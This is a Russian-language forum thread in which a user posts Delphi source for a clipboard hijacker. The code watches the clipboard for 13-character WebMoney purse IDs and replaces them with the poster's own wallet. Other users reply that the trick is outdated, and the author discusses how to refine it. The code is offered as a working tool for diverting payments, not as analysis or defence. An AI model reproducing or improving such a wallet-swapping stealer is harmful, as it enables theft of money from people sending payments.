[Delphi] буфер обмена => WM

[WestSide]

var s,sd:String;   
begin   
s:='';//сбрасываю содержимое s в самом начале ), хотя можно и не делать этого    
while 0=0 do   
begin   
sd:=Clipboard.asText;   
If (Length(sd)=13) and (sd<>'R000000000000') //здесь проверка, если кол-во символов равно 13 (and - и) содержимое не равно нашему кошельку то продолжаем   
then   
begin   
If s=sd // здесь происходит проверка на повторение, если s=sd    
then // то    
begin   
//ничего не делаем ))   
end   
else// если не равна то    
begin   
WriteLn(sd); //выводим содержимое буфера   
Clipboard.AsText := 'R000000000000'; //копируем в буфер нашу кошель   
s:=sd; //и сохраняем в переменную s последнее содержимое с кошелью 
end;   
end;

by WestSide

[Nightmare]

Бред, это ещё пару лет назад не актуально было, пробуйте для начала работает ли это или нет

[WestSide]

Сообщение от Nightmare

Бред, это ещё пару лет назад не актуально было, пробуйте для начала работает ли это или нет

Ты сомневаешься в правильности моего кода? я его сам писал, одновременно проверяя на работоспособность, конечно могут быть случаи когда копируют кошель вместе с пробелом тогда будет не 13 а 14 и более знаков, в таких случаях надо дорабатывать, также надо замутить проверку на 1 - 2 символы, и тогда будет гуд.

[Nightmare]

В буффер обмена он ясен пень кошелёк то заносит, но в кипере ты его вставить в нужное поле пробовал?

[WestSide]

Сообщение от Nightmare

В буффер обмена он ясен пень кошелёк то заносит, но в кипере ты его вставить в нужное поле пробовал?

я не пользуюсь кипером

[rebbe]

)))))))))))) а для чего тогда писал???на первых версиях это была тема,а ща это баян